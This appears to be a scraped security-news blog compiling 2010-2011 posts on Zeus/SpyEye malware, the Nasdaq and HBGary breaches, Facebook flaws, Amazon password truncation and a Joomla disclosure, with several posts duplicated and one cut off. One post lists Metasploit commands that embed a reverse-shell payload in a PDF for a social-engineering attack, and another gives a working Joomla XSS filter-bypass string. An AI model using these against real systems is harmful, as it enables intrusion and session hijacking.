genebook-blog

[genebook-blog]

Next-generation banking malware emerges after Zeus

{o.a.}

IDG News Service - The rumored combination of two pieces of advanced online banking malware appears to be fully underway after several months of speculation.

What appears to be a beta version of a piece of malware that has bits of both Zeus and SpyEye is now in circulation, albeit among just a few people, said Aviv Raff, CTO and cofounder of Seculert.

Seculert has published screen shots of the new malware, which has two versions of a control panel used for managing infected computers. One of those control panels resembles one in Zeus, and the other resembles that in SpyEye. Both of the control panels are connected to the same back-end command-and-control server, he said.

Raff said the reason for the dual control panels is "because many of the criminals are used to the look-and-feel of the Zeus administration panel and will find it easier to migrate to the new version."

For some time vendors including Trend Micro and McAfee as well as security writer Brian Krebs have written about rumors that the Russian hacker who wrote Zeus was getting out of the business.

The source code for Zeus was rumored to have been transferred to the creator of SpyEye, and it was anticipated that the two pieces of malware would be combined. That evidence has just emerged now, Raff said.

It doesn't bode well for banks. Zeus, which is tailored to evade security software, grab online banking credentials and execute transactions on the fly, has been more than an annoyance.

Zeus has been used by several highly organized criminal rings to transfer money out of victims' accounts. Last year, dozens of people were arrested in the U.S. and U.K. and accused of being money mules for the gangs.

The new malware also has at least a couple of new features. One of those is designed to defeat Rapport, a browser add-on from the security vendor Trusteer that intends to protect connections between a client and a bank server and resist man-in-the-middle attacks. Previously, the anti-Rapport feature was a separate module for Zeus, but now it has been baked in, Raff said.

The malware writers have also added a way to remotely connect to a victim's computer using the Remote Desktop Protocol, a Microsoft protocol that allows a remote user to access a computer using the normal Windows graphical interface rather than a command line.

So far, Raff said it appears that only a few cybercriminals are using the new version. He declined to say how Seculert obtained the malware or how much it might be selling for on the malware market.

"It seems to be still under development, with bug fixes released almost daily," Raff said.

[genebook-blog]

Nasdaq admits hackers planted malware on web portal

{o.a.}

Nasdaq admitted on Saturday that unidentified hackers had succeeded in planting malware on one of its portals.

The US stock exchange is keen to stress that trading systems were not affected by suspicious files found on Directors Desk, a web-based dashboard application used by an estimated 10,000 execs worldwide. In a statement, Nasdaq said that there was no evidence that customer information had been exposed by breach.

The stock exchange had been asked to stay quiet about the attackers by DoJ investigators until at least 14 February, but it was obliged to go public earlier than planned after the Wall Street Journal broke the story last weekend. Nasdaq has begun the process of notifying customers about the security snafu, which was detected internally by its security screening systems.

Evil hackers subverting stock exchanges for their own gain has been a popular theme of haxploitation flicks for years. However, in reality, one of the few confirmed breaches of any stock exchange happened when a Russian Trading System was compromised by malware back in 2006, notes net security firm Sophos.

It adds that it is likely that the Directors Desk hack was designed to plant malware on the systems of users via drive-by-download attacks.

Late last month, it emerged that the London Stock Exchange and one of its counterparts in the US were in the process of investigating possible hacking attacks. Investigators are assessing whether a collapse in the trading price of five firms last summer might be explained by a breach in the open-source trading system used by the LSE. Officials had previously blamed the entry of incorrect prices for the snafu. An unnamed US exchange is also reportedly in the process of investigating a similar attack. ®

[genebook-blog]

Linux vulnerable to Windows-style autorun exploits

{o.a.}

A security researcher has demonstrated how it might be possible to perform autorun-style attacks against weakly secured Linux PCs.

Windows worms including Conficker and Stuxnet have often spread onto networks after infected USB sticks were plugged into PCs. This has happened automatically in cases where autorun was enabled, as it did in default on older versions of Windows until a change pushed by Microsoft on Tuesday. With autorun-enabled executable files run with minimal user interaction.

Research by Jon Larimer, of IBM's X-Force security division, shows that the issue of autorun causing possible mischief is not (as might have been previously thought) wholly irrelevant to Linux boxes. Larimer developed a demo to show how it might be possible to insert a USB stick with modified code into a Ubuntu PC to get rid of a screensaver without entering a password – and display the user's desktop.

The demo relied on taking advantage of a flaw in GNOME Evince document viewer that was patched in January and, even so, was kind of "weak" because it was shown on a machine with in-built exploit mitigation disabled, as Larimer himself clearly explains.

During a talk at last weekend's ShmooCon security conference Larimer explains how these mitigations – namely ASLR and AppArmor – might be defeated. This aspect of his research was not included in the demo simply to make sure that the demonstration was reliable and he didn't have to mess around trying to run a brute-force attack on ASLR in front of a live audience.

The upshot of the research is that you might be able to do things you aren't supposed to do on a Linux box by misusing autorun functionality. It doesn't mean that Linux autorun worms might be created using the sort of jiggery-pokery illustrated by Larimer.

Even leaving aside the fact that the minuscule ecosystem of Linux malware strains are dwarfed by orders of magnitude by the Windows virus hoard, plenty of other caveats apply, as Larimer makes clear.

More on Larimer's research can be found in a blog post here and in a YouTube video clip of his presentation. ®

[genebook-blog]

Adobe PDF Embedded EXE Social Engineering

{o.a.}

Timeline :

Vulnerability discovered & disclosed by Didier Stevens the 2010-03-29

Exploit-DB PoC provided by Didier Stevens the 2010-03-31

      PoC provided by :

jduck

Colin Ames

      Reference(s) :

CVE-2010-1240

EDB-ID-11987

      Affected version(s) :

Adobe Reader 9.3.2 and earlier versions for Windows, Macintosh, and UNIX

Adobe Acrobat 9.3.2 and earlier versions for Windows and Macintosh4

      Tested on Windows XP SP3 with :

      Adobe Reader 9.3.0

      Description :

This module embeds a Metasploit payload into an existing PDF file. The resulting PDF can be sent to a target as part of a social engineering attack.

      Commands :

    use exploit/windows/fileformat/adobe_pdf_emb­edded_exe

    set OUTPUTPATH /home/eromang

    set INFILENAME metasploit.pdf

    set TARGET 0

    set PAYLOAD windows/shell/reverse_tcp

    set LHOST 192.168.178.21

    exploit

    use exploit/multi/handler

    set PAYLOAD windows/shell/reverse_tcp

    set LHOST 192.168.178.21

    expoit -j

    sessions -i 1

    dir

[genebook-blog]

Data Theft Vulnerability Resolved by Facebook

{o.a.}

Facebook has reconciled a major privacy vulnerability that left members susceptible to social engineering exploits and data theft.

The flaw may have allowed users to unwittingly spread malware to their contacts and provided malicious websites access to private account information.

The security lapse was discovered by research students Zhou Li and Rui Wang who alerted both Facebook and security firm Sophos, according to an article in V3.co.uk.

"According to Wang and Li, it was possible for any web site to impersonate other sites which had been authorised to access user data, such as name, gender and date of birth," said senior technology consultant at Sophos Graham Cluley.

"Furthermore, the researchers found a way to publish content on the visiting users' Facebook walls under the guise of legitimate web sites, a potential way to spread malware and phishing attacks."

Cluley was able to confirm the vulnerability after some experimentation, and credited the extensive security precautions applied to his account for the initial difficulties in replicating the exploit.

After several attempts, Cluley said he was able to harvest some private data from his account as well as plant the equivalent of a malicious web link.

Though Facebook staff quickly worked to provide a solution to the flaw, Cluley warns that the social networking platform's complexity makes it likely that similar flaws may be found in the future.

"Clearly Facebook's web site is a complex piece of software, and it is almost inevitable that vulnerabilities and bugs will be found from time to time. The risk is compounded by the fact that there is so much sensitive personal info about users being held by the site, potentially putting many people at risk," Cluley states in the V3.co.uk article.

Facebook members should apply some simple security features that are already available. One important feature allows members to monitor their profile for any unauthorized access to their Facebook account.

You can also check out "A Facebook Security Lockdown Guide" which provides a checklist of necessary security options and protocols to help protect you from exploitation. 

[genebook-blog]

Managing Social Media for Network Security

{o.a.}

Managing network security is all about controlling the attack surface.

If your network users need to communicate with services A, B, and C through channels X, Y, and Z, it's not impossible (with a little elbow grease) to manage the potential attack surfaces in the network and control the security risk. When it was all about communication with email and a few Web applications, network security could be better managed, because you knew where the potential holes were and could close them off when new threats were revealed.

But now network managers have a whole new attack surface to manage: the vast multitude of potential entry points to a network created by the use of social media sites. And as social media services get more robust, the potential for a security breach goes up almost exponentially for both your organization and individual users themselves.

It's become a well-known scenario: An employee visits a social media site on a corporate machine during some idle time and ends up picking up a piece of malware from one of the dozens of trojans that proliferate through that site. That malware may just turn the machine into a spam generator, if you're lucky. More sophisticated malware will log keystrokes and provide the malware author with plenty of authentication information from your network.

Users themselves are particularly at risk while using social media sites, because if one of their social media accounts gets compromised, it's a fair bet their password will be repeated on other sites. This leaves them vulnerable to being hacked on banking and commerce sites, which can impact their productivity as they spend days if not weeks trying to get their online and financial identities back in order. Not to mention what happens if they use the same password for your network.

Depending on the brazenness of a criminal targeting your company, your very organization can even be put at risk. A recent story on Inc. related the tale of a manufacturing company undergoing an expansion of their warehouse and announcing it to the world at large on their corporate blog, Facebook, and Twitter.

"As the day for the big move approached, they told customers about potential shipping delays, but said they'd return with better service than ever.

"On the first day, several men wearing the uniforms of a well-known logistics company showed up to help with the move. With dozens of legitimate workers swarming around the site, they blended in easily and no one questioned them as they loaded equipment into their own van. They drove off before anyone realized they were interlopers," the article related.

This kind of incident is rare, but virtual criminal activity doesn't have to remain virtual; reports of armed robberies and assaults around Craigslist-initiated sales meetings are also on the rise.

As a networking manager, it's not your responsibility to keep employees safe from harm on their own time. But there are some policies you can consider implementing that will decrease the size of your network's attack surface and--if implemented with a fair dose of training--will also keep your co-workers safe on their own machines.

One policy that bears exploring is the straightforward banning of social media activity on your network. That may indeed be necessary, if your organization's Internet policy already discourages personal use of company assets. It's a little hard to police that kind of policy on email, since you can't really tell what messages are personal or business without treading into privacy waters. But unless the user is with sales or marketing, it's a pretty reasonable assumption that they aren't on Facebook or Foursquare for business reasons.

Of course, this won't make you popular, and it doesn't address the larger problem of social media: it's still very easy to phish for information across social media networks. Phishing attacks are rampant on all forms of communication, but they are especially troublesome on social media because it's not that hard to fool someone. If open source guru Simon Phipps tweets me a link from @webmink, will I notice that it's really from @webmink2 before I click the link to a fake login page? Hopefully yes, but if I'm not paying attention, I could just as easily be fooled.

Education and password management

Most experts agree that a two-pronged solution is needed to control the size of the social media attack surface in your organization.

The first is purely an educational tactic: deliver the message to users that if they are using social media, they must never assume that a link or software download is actually from a friend--even if it's from their friend's account. They need to challenge such receipts and confirm that the package was indeed intended to be delivered.

The second approach is to enforce better password management. This is partly educational, since you will need to convince users that it's in their best interests to have different passwords for each network and service they visit anyway. But you have some control over this, as well: Implement a password policy that will enforce a password change every month. Even if the user has used like passwords across multiple sites, it is very unlikely that will continue to be the case after a month or two of resetting passwords on your network. They may still have a problem with a single password for multiple sites, but your network won't be one of them.

On the broader problem of social media as a corporate attack surface, make sure you impress upon the people in your organization who do use social media to do their jobs that care should be taking in sharing information about the company or its employees. Social media is a great tool to reach customers, but it's not just your customers who are listening to what your company has to say. Think about risk in every corporate statement, even a tweet.

Brian Proffitt is a technology expert who writes for a number of publications. Formerly the Community Manager for Linux.com and the Linux Foundation, he is the author of 20 consumer technology books, including the most recent Take Your iPad to Work. Follow him on Twitter at @TheTechScribe.

[genebook-blog]

The last Mac myth

{o.a.}

Back in the good old days, the die-hard Apple fans — embarrassingly outnumbered — would often attempt to debunk the many myths surrounding the platform.

They targeted such notions as “Macs aren’t as fast as PCs,” “Mac files aren’t compatible” and “Macs offer less software.”

Like most of the world, I’ve stopped worrying about such things. The arguments just aren’t relevant anymore. Even the software issue, which still exists by absolute numbers, isn’t worth discussing. Whatever the number of Mac apps may be, a Mac owner has a huge amount of titles to choose from. If you lust that badly after a particular Windows app, you can simply configure your Mac to run it.

But, nosing around on the Apple sites and discussion groups recently (this is what I do for a good time), I was surprised to see one myth still alive and well. It’s the idea that Macs are not more secure than PCs — there are simply so few Macs on earth, they’re not a juicy enough target for the evildoers. This is the famous theory of “security by obscurity.”

This is also pure crap.

Macs were once not only a tiny minority of the world’s computers, they were a fading minority. The platform didn’t generate nearly the buzz it does today. Nor was its every move reported by legions of journalists and bloggers.

If I were a hacker 15 years ago, I’d buy the obscurity argument in a nanosecond. What’s the fun of being a big fish in an invisible puddle.

However, this isn’t then. Apple is now the world’s most successful — and most valuable — technology company. Macs get far more attention than their numbers suggest. They’re all over movies and TV shows. They’re the defacto standard in graphics and design. Although the Mac market share remains far smaller than that of PCs, Mac users number in the tens of millions. And then there’s mobile technology, where Apple either leads in market share or owns a giant chunk of the category. Regardless of market share, Apple leads by far in share of mind. The world’s obsession with Apple only grows bigger every day.

Add to that the fact that Apple has spent tens of millions of dollars proclaiming to the world that Macs don’t get viruses. That was the claim in one of the earliest “Mac vs. PC” commercials (the one where PC couldn’t stop sneezing). It was an open challenge to the world’s hackers. It was Apple’s public “bring it on.”

If you were a hacker seeking glory these days, the Mac has to be one super-tempting target. Being the first person on earth to cause havoc in the Mac world would mean instant enshrinement in the Hackers Hall of Fame. It’s just horribly naive to suggest that hackers have no motivation to attack the Mac. In fact, why would you create malware for PCs, where viruses are a dime a dozen, when you can have the fame and glory that would come with bringing those arrogant Mac users to their knees? Hell, I’m tempted to go try it myself.

Hacker conventions have been held with the express goal of breaking into the Mac. They usually end with a “concept virus,” or the announcement of some newly discovered vulnerability in Mac OS X. Yet somehow none of that ever causes a blip in the Mac world.

Given the total lack of widespread Mac viruses over all these years vs. the hundreds of thousands that exist in PCs, it takes some kind of twisted logic to maintain that Mac OS X is as vulnerable as Windows.

Interestingly, there’s a newer, more absurd myth being born to take the place of security by obscurity. It’s the idea that Macs are actually more vulnerable than PCs. This belief is put out there by security companies out to sell their own software, or security experts eager to prove their unconventional smarts. They have all the reports to prove Mac’s many documented vulnerabilities. The only thing missing are the viruses.

This is not to say Macs are invincible. Clearly any computer can be compromised. Everyone needs to exercise some common sense. But the simple fact is, it’s pure insanity to run a PC without antivirus software and commonplace to run a Mac without it. I haven’t run antivirus software in my Macs since Mac OS X was released, over 10 years ago. I don’t know anyone who has.

The “Mac is vulnerable” crowd does exist and will always exist. They’ll continue to make their claims until one day they can say they were right.

I will only note that there is also a Flat Earth Society waiting patiently to be proven right. We’ll see who gets there first.

[genebook-blog]

NIST formalizes cloud computing definition, issues security and privacy guidance

{o.a.}

Last summer, Federal Chief Information Officer Vivek Kundra asked the National Institute of Standards and Technology (NIST) to help accelerate the federal government's secure adoption of cloud computing by leading efforts to develop cloud standards and guidelines.

And NIST just delivered. The agency published two new draft documents on cloud computing. The first document, NIST Definition of Cloud Computing (NIST Special Publication (SP) 800-145) defines cloud computing

[genebook-blog]

Next-generation banking malware emerges after Zeus

{o.a.}

IDG News Service - The rumored combination of two pieces of advanced online banking malware appears to be fully underway after several months of speculation.

What appears to be a beta version of a piece of malware that has bits of both Zeus and SpyEye is now in circulation, albeit among just a few people, said Aviv Raff, CTO and cofounder of Seculert.

Seculert has published screen shots of the new malware, which has two versions of a control panel used for managing infected computers. One of those control panels resembles one in Zeus, and the other resembles that in SpyEye. Both of the control panels are connected to the same back-end command-and-control server, he said.

Raff said the reason for the dual control panels is "because many of the criminals are used to the look-and-feel of the Zeus administration panel and will find it easier to migrate to the new version."

For some time vendors including Trend Micro and McAfee as well as security writer Brian Krebs have written about rumors that the Russian hacker who wrote Zeus was getting out of the business.

The source code for Zeus was rumored to have been transferred to the creator of SpyEye, and it was anticipated that the two pieces of malware would be combined. That evidence has just emerged now, Raff said.

It doesn't bode well for banks. Zeus, which is tailored to evade security software, grab online banking credentials and execute transactions on the fly, has been more than an annoyance.

Zeus has been used by several highly organized criminal rings to transfer money out of victims' accounts. Last year, dozens of people were arrested in the U.S. and U.K. and accused of being money mules for the gangs.

The new malware also has at least a couple of new features. One of those is designed to defeat Rapport, a browser add-on from the security vendor Trusteer that intends to protect connections between a client and a bank server and resist man-in-the-middle attacks. Previously, the anti-Rapport feature was a separate module for Zeus, but now it has been baked in, Raff said.

The malware writers have also added a way to remotely connect to a victim's computer using the Remote Desktop Protocol, a Microsoft protocol that allows a remote user to access a computer using the normal Windows graphical interface rather than a command line.

So far, Raff said it appears that only a few cybercriminals are using the new version. He declined to say how Seculert obtained the malware or how much it might be selling for on the malware market.

"It seems to be still under development, with bug fixes released almost daily," Raff said. 

[genebook-blog]

Facebook Plagued By Two New Security Exploits

{o.a.}

PandaLabs announced the discovery of security exploits via popular social media sites Facebook and Twitter. In the last several days, two new malware strains have been wreaking havoc on Facebook users.

The first, Asprox.N, is a Trojan delivered via email informing users their Facebook account is being used to distribute spam and that, for security reasons, the login credentials have been changed.

The email includes a fake Word document attachment, supposedly containing the new password, with an unusual icon and the filename Facebook_details.exe.

Deceiving victims by opening a .doc file upon opening the attachment, this file is really a Trojan that downloads another file designed to open all available ports, connecting to mail service providers in an attempt to spam as many users as possible.

The second new malware strain, Lolbot.Q, is distributed across instant messaging applications such as AIM or Yahoo!, with a message displaying a malicious link.

Clicking the link downloads a worm designed to hijack Facebook accounts, blocking users' access while informing that the account has been suspended.

To "reactivate" their account, users are asked to complete a questionnaire, promising prizes such as laptops and iPads. After several questions, users are asked to subscribe and enter their cell phone number, which is in turn charged a fee of $11.60 per week.

Victims can restore access to their Facebook account only once they subscribe to the service and receive a new password.

"Once again cybercriminals are using social engineering to trick victims and infect them with malware," said Luis Corrons, technical director of PandaLabs. "Given the increasing popularity of social media, it is no surprise that it is being exploited to lure victims." 

[genebook-blog]

Two new malicious codes using FB discovered

{o.a.}

 Spam trumpeting the power of love is nothing more than an old trick dressed up in new clothes, more evidence that the backers of the Waledec bot Trojan are the same bunch that hammered users in 2007 with Storm, security companies are warning.

Multiple security vendors, including MX Logic Inc., Trend Micro Inc., and Panda Security, have issued alerts about new Valentine's Day-themed spam campaigns that try to dupe users into installing the Waledec bot.

Subject lines for the spam, said Sam Masiello , vice president of information security at MX Logic, are "short and sweet," and include "Me and You," "In Your Arms" and "With all my love." From the spam, users who browse to the embedded link reach a site with a dozen hearts, any one of which download an executable file when clicked.

Masiello first noted the campaign last Thursday, but other researchers, including those at Trend Micro and Panda, picked up on the trend Monday. Both Masiello and Florabel Baetiong, an anti-spam research engineer with Trend, noted the similarity between the recent infection attempt and Valentine's Day scams launched last year by hackers controlling Storm, another bot Trojan that has since fallen into disuse, possibly because the crew responsible surrendered to heavy pressure by security experts .

"Clearly the old Storm folks are working as hard as they can to build up their new botnet, and are following the old tried-and-true methods of centering their social engineering tactics around holiday themes," said Masiello in a post to the MX Logic blog .

Storm used Valentine's Day spam in both 2007 and 2008 to hijack PCs.

Most researchers have come around to the idea that Waledec is, in fact, the new Storm. Joe Stewart , an expert on botnets -- Storm, in particular -- was confident that the group that backed Storm essentially re-wrote its code to come up with Waledec. "If it's not the same people, they would have had to study Storm intensively to match the functionality," Stewart said in an interview recently. "It's so similar that it's unlikely to be a different group."

The Waldec malware first began infecting systems just before Christmas , when it used phony holiday greetings and e-cards as bait, another Storm tactic during 2008. Last week, it surfaced again, this time hitchhiking on a spam run that claimed then President-elect Barack Obama would not take the oath of office on Jan. 20.

Although the Waledec botnet remains relatively small -- Stewart put it at just 10,000 machines -- it's growing at "an alarming rate," according to MessageLabs Ltd. In a report on botnets the e-mail security company released Monday (download PDF) , MessageLabs speculated that the botnet owners are "focusing on growing and developing this new botnet, rather than sending spam through it at this stage."

Masiello said that messages designed to plant Waledec were running at a volume of about 4,000-5,000 per hour, down from approximately 12,000 an hour last Friday, and had been holding steady for the last 48 hours. "I'd agree with MessageLabs," said Masiello on Tuesday. "It does look like they are in the process of building up the botnet." MX Logic has not seen any evidence that the Waledec botnet is, in turn, sending spam of its own.

Several botnets that were heavily disrupted by the takedown of McColo Corp., a California-based hosting company, are in the same condition, Masiello added. After suffering losses when McColo -- which had hosted command-and-control servers for several botnets, particular one dubbed "Srizbi" and other called "Rustock" -- was yanked off the Internet, they have spent the last several months adding new PCs to their collection.

[genebook-blog]

Beware of valentines day virus/spam

{o.a.}

 Spam trumpeting the power of love is nothing more than an old trick dressed up in new clothes, more evidence that the backers of the Waledec bot Trojan are the same bunch that hammered users in 2007 with Storm, security companies are warning.

Multiple security vendors, including MX Logic Inc., Trend Micro Inc., and Panda Security, have issued alerts about new Valentine's Day-themed spam campaigns that try to dupe users into installing the Waledec bot.

Subject lines for the spam, said Sam Masiello , vice president of information security at MX Logic, are "short and sweet," and include "Me and You," "In Your Arms" and "With all my love." From the spam, users who browse to the embedded link reach a site with a dozen hearts, any one of which download an executable file when clicked.

Masiello first noted the campaign last Thursday, but other researchers, including those at Trend Micro and Panda, picked up on the trend Monday. Both Masiello and Florabel Baetiong, an anti-spam research engineer with Trend, noted the similarity between the recent infection attempt and Valentine's Day scams launched last year by hackers controlling Storm, another bot Trojan that has since fallen into disuse, possibly because the crew responsible surrendered to heavy pressure by security experts .

"Clearly the old Storm folks are working as hard as they can to build up their new botnet, and are following the old tried-and-true methods of centering their social engineering tactics around holiday themes," said Masiello in a post to the MX Logic blog .

Storm used Valentine's Day spam in both 2007 and 2008 to hijack PCs.

Most researchers have come around to the idea that Waledec is, in fact, the new Storm. Joe Stewart , an expert on botnets -- Storm, in particular -- was confident that the group that backed Storm essentially re-wrote its code to come up with Waledec. "If it's not the same people, they would have had to study Storm intensively to match the functionality," Stewart said in an interview recently. "It's so similar that it's unlikely to be a different group."

The Waldec malware first began infecting systems just before Christmas , when it used phony holiday greetings and e-cards as bait, another Storm tactic during 2008. Last week, it surfaced again, this time hitchhiking on a spam run that claimed then President-elect Barack Obama would not take the oath of office on Jan. 20.

Although the Waledec botnet remains relatively small -- Stewart put it at just 10,000 machines -- it's growing at "an alarming rate," according to MessageLabs Ltd. In a report on botnets the e-mail security company released Monday (download PDF) , MessageLabs speculated that the botnet owners are "focusing on growing and developing this new botnet, rather than sending spam through it at this stage."

Masiello said that messages designed to plant Waledec were running at a volume of about 4,000-5,000 per hour, down from approximately 12,000 an hour last Friday, and had been holding steady for the last 48 hours. "I'd agree with MessageLabs," said Masiello on Tuesday. "It does look like they are in the process of building up the botnet." MX Logic has not seen any evidence that the Waledec botnet is, in turn, sending spam of its own.

Several botnets that were heavily disrupted by the takedown of McColo Corp., a California-based hosting company, are in the same condition, Masiello added. After suffering losses when McColo -- which had hosted command-and-control servers for several botnets, particular one dubbed "Srizbi" and other called "Rustock" -- was yanked off the Internet, they have spent the last several months adding new PCs to their collection.

[genebook-blog]

HBGary Federal Hacked by Anonymous

{o.a.}

A company that is helping the federal government track down cyberactivists who have been attacking business which refused to support Wikileaks has itself been hacked by the very same activists.

At the center of the storm is a leaderless and anarchic Internet group called Anonymous, which more recently has been coordinating attacks against Egyptian government Web sites. Late last month, authorities in the U.K. and the U.S. moved against at least 45 suspected Anonymous activists. Then, on Saturday, the Financial Times ran a story quoting Aaron Barr, the head of security services firm HBGary Federal, saying he had uncovered the identities of Anonymous’ leaders using social networking sites. Barr said he planned to release his findings at a security conference in San Francisco next week.

Anonymous responded by hacking into HBGary’s networks and posting archives of company executive emails on file-trading networks. The group also hacked the firm’s Web site and replaced it with a message saying it was releasing Barr’s findings on its own because the group was confident Barr’s conclusions were wrong.

“We’ve seen your internal documents, all of them, and do you know what we did? We laughed. Most of the information you’ve ‘extracted’ is publicly available via our IRC networks,” the statement reads. “The personal details of Anonymous ‘members’ you think you’ve acquired are, quite simply, nonsense. So why can’t you sell this information to the FBI like you intended? Because we’re going to give it to them for free.”

I tuned into this conflict late Sunday evening, after HBGary President Penny Leavy had waded into Anonymous’ public chat channel in an attempt to reason with the group. Earlier in the evening, Anonymous sympathizers hijacked several Twitter accounts belonging to HBGary employees, and used them to post offensive comments and personal information about the account holders.

The topic of the IRC channel Leavy joined said it all: “Mission: Aaron Bratt FIRED. His salary donated to Bradley Manning Defense Fund. Simple.” Leavy said the group was planning to publish online the entire email archive belonging to Greg Hoglund, the security researcher in California who co-founded HBGary, which is part owner of HBGary Federal.

A snippet from that conversation:

“[20:06:12] <+Penny> Guys, I can’t fire someone that owns a portion of the company  What i can promise is we will have a meeting to discuss next steps”

In a phone interview late Sunday evening, Hoglund said that unlike the more traditional Web-site attacking activities of Anonymous, the hackers who infiltrated HBGary’s system showed real skills, even social engineering a network administrator into giving them complete control over rootkit.com, a security research site Hoglund has long maintained.

“They broke into one of HBGary’s servers that was used for tech support, and they got emails through compromising an insecure Web server at HBGary Federal,” Hoglund said. “They used that to get the credentials for Aaron, who happened to be an administrator on our email system, which is how they got into everything else. So it’s a case where the hackers break in on a non-important system, which is very common in hacking situations, and leveraged lateral movement to get onto systems of interest over time.”

Hoglund said Anonymous had crossed a line, and that posting the company’s email online would expose internal, proprietary data that would likely cost HBGary millions of dollars. He added that Anonymous activists should be able to see — if they read the email they’ve stolen — that HBGary ultimately decided not to publicly name any of the members it had identified.

“Before this, what these guys were doing was technically illegal, but it was in direct support of a government whistle blower. But now, we have a situation where they’re committing a federal crime, stealing private data and posting it on a torrent,” Hoglund said. “They didn’t just pick on any company, but we try to protect the US government from hackers. They couldn’t have chosen a worse company to pick on.”

[genebook-blog]

Data Security: Old Amazon.com's Passwords Valid Up To 8th Character

{o.a.}

    The weakest link to modern, strong encryption lies in its users.  More specifically, it lies in the fact that users don't protect their passwords as well as they could: they write it down on a post-it, share it with co-workers, or even give it over the phone, in what could a social engineering scam.

    Once in a while, though, you run into problems where the weakest link lies in the program itself.  Amazon.com, for example, truncated passwords after the eighth character, rendering passwords that much weaker.

Affects Old Passwords Only, Truncated and Capitalized

    The story broke open on Reddit when a reditter noticed how he could log into amazon.com with the wrong password.  A discussion quickly followed.  What people (including those who don't frequent reditt.com) think might be happening:

    Amazon.com used (past tense) unix's crypt() function to encrypt older passwords.  Unfortunately, crypt() truncates everything to eight characters, meaning anything after the eighth character gets removed.  For example, if your password is 123456789, the 9 is thrown out and 12345678 is kept as the password.

    There is also speculation, based on testing, that amazon.com also converted all passwords to uppercase before storing them as passwords.  As we'll see shortly, both contribute towards weaker passwords.

    That's the bad news.  The good news is that amazon.com doesn't do it anymore.  In fact, this issue seems to affect passwords that are pretty old, to the tune of two or three years (or older).  So, if you haven't changed your password at the on-line bookstore, now's the time to do so.  You can even enter your old password as your "new" password.  Despite being the same password, you'll actually be better protected.

Password Strength Lies in Diversity, Length

    The strength of a password lies in its length: comparing two passwords, 11 and 111111111111111111111, most people will (correctly) say that the latter is a stronger password.  Overall, though, both passwords are weak since they're composed of one character only.

    If we were to take 111111111111111111111 and compare it to 12345678934567891201, both composed of 21 characters, we'd say the latter is the stronger password.  So, it's not just a matter of length, it's also a matter of diversity: the more diverse the characters making up the password, the more secure it is.

    Combine length and diversity and you can say, the more complex your password, the more secure it is.  Do anything to counter to this claim, and you're weakening your password pool.  Let's look at amazon.com's past practice.

    To begin with, they truncated passwords to 8 places.  If I recollect correctly, they also had a minimum password length, so there was an upper and lower limit to what a password's length could be.  This limits the number of passwords you've got to brute-force before finding the correct one.

    To be fair, though, it probably wouldn't matter much.  The difference between going through all 8-character passwords vs. all passwords beginning from 1-character passwords to 8-characters passwords, inclusive, borders around 4% if only using the 26 characters in the alphabet.  If you include numbers, or differentiate between lowercase and uppercase letters, the difference becomes less than 1%.  The reason?  Because the total number of passwords one can create grows exponentially with the password length, the number of passwords composed of 8 characters quickly outnumbers those of 7 characters or shorter.  You can read more about it here, under the section "Do Encryption Solutions Work Anymore?  Hacking Passwords."

    Long story short, the lower limit is not as much of a problem as the ceiling on password lengths.

    Perhaps even more problematic is converting all passwords to uppercase.  There are 26 letters in the alphabet (the English one).  Differentiating between upper and lower case means a total of 52 letters.  The difference in exponential growth between 26 characters and 52 characters is tremendous:

    PWL 26 characters 32 characters 52 characters

    1 26 32 52

    2 676 1024 2704

    3 17576 32768 140608

    4 456976 1048576 7311616

    5 11881376 33554432 380204032

    6 308915776 1073741824 19770609664

    7 8031810176 34359738368 1.02807E+12

    8 2.08827E+11 1.09951E+12 5.34597E+13

    9 5.4295E+12 3.51844E+13 2.77991E+15

    10 1.41167E+14 1.1259E+15 1.44555E+17

    If the length of the password (PWL) is one, you can have either 26 (a, b, c, etc) or 52 passwords (A, a, B, b, etc.), respectively.  When the length of the password increases to two places you can have either 676 (a, b, c...aa, ab, ac...ba, bb, bc...etc.) passwords or 2,704 passwords.

    By the time you reach a password that is 5 characters in length, the difference is 11.8 million passwords vs. 380 million passwords.  Exponential growth is a powerful thing.  Even if you were to use a password that combines 26 characters and 10 numbers, it wouldn't come close to the complexity offered by 52 characters with no numbers. (And, obviously, passwords that involve upper and lower case numbers as well as numbers would offer more passwords.)

    Amazon.com's past password policies (or should I call them practices) shortchanged their users, since the "promised" security of the password turned out to be less than what as actually offered.

Why Didn't Amazon Do Something About It?

    Of course, many might wonder, "well, if Amazon knew of the problem, and thought it may be problematic enough that they changed how they handled passwords three years ago, why didn't they go all the way?  Why not ensure that the correct passwords were used going forward?"  Absent an official communication from the on-line retailer, we can only speculate.

    Storefrontbacktalk.com, however, has an excellent analysis of the possible whys.  Basically, it all revolves around the fact that amazon.com never had the actual passwords -- they had truncated versions, at best -- so they couldn't "fix it" internally.  People dislike being forced to randomly change or update passwords, so that was a dead end.  It would have been bad PR to admit to the problem, so they couldn't announce it (plus, imagine the field day hackers would have with that announcement).

    It looks like Amazon may have just let time do its job: at some point, people would reset their passwords, and the security issue would resolve itself.

Related Articles and Sites:

http://www.wired.com/threatlevel/2011/01/amazon-password-problem/

http://www.pcmag.comz/article2/0,2817,2378777,00.asp

Published Feb 02 2011, 09:54 PM by sang_lee

[genebook-blog]

Joomla! JFilterInput XSS Bypass

{o.a.}

Joomla! 1.5 and 1.6 rely on the JFilterInput class to sanitize user-supplied html. This class attempts to parse any given string for html code, checks the code against a whitelist of elements and attributes, and strips out any code that is not allowed. However, malformed html code can be used to bypass the filter and inject XSS code into user-supplied input.

The following string bypasses JFilterInput's "safe" attributes in both 1.5 and 1.6:

<img src="<img src=x"/onerror=alert(1)//">

Users of 1.6 can test this by enabling the "Profile" user plugin and injecting this string into the "About Me" textarea. Joomla! 1.5 has no known core extensions that allow guests or regular users to post html, however any 3rd party extension that relies on this class to sanitize input will be vulnerable.

Timeline

    * Vulnerabilities Discovered: 15 January 2011

    * Vendor Notified: 15 January 2011

    * Vendor Response: 17 January 2011

    * Update Available: ...

    * Disclosure: 1 February 2011

Update

Since posting this, I've decided to go ahead and publish the email exchange... in all it's brevity. Some headers removed.

-------- Original Message --------

Return-path:    <

 security@joomla.orgThis e-mail address is being protected from spambots. You need JavaScript enabled to view it

 >

Envelope-to:    

 me@jeffchannell.comThis e-mail address is being protected from spambots. You need JavaScript enabled to view it

Delivery-date:  Mon, 17 Jan 2011 19:40:17 -0600

Date:   Tue, 18 Jan 2011 01:40:26 +0000

Subject:        Re: [#XNT-28157-847] JFilterInput XSS Bypass

From:   Joomla! Security Strike Team (JSST) <

 security@joomla.orgThis e-mail address is being protected from spambots. You need JavaScript enabled to view it

 >

To:     

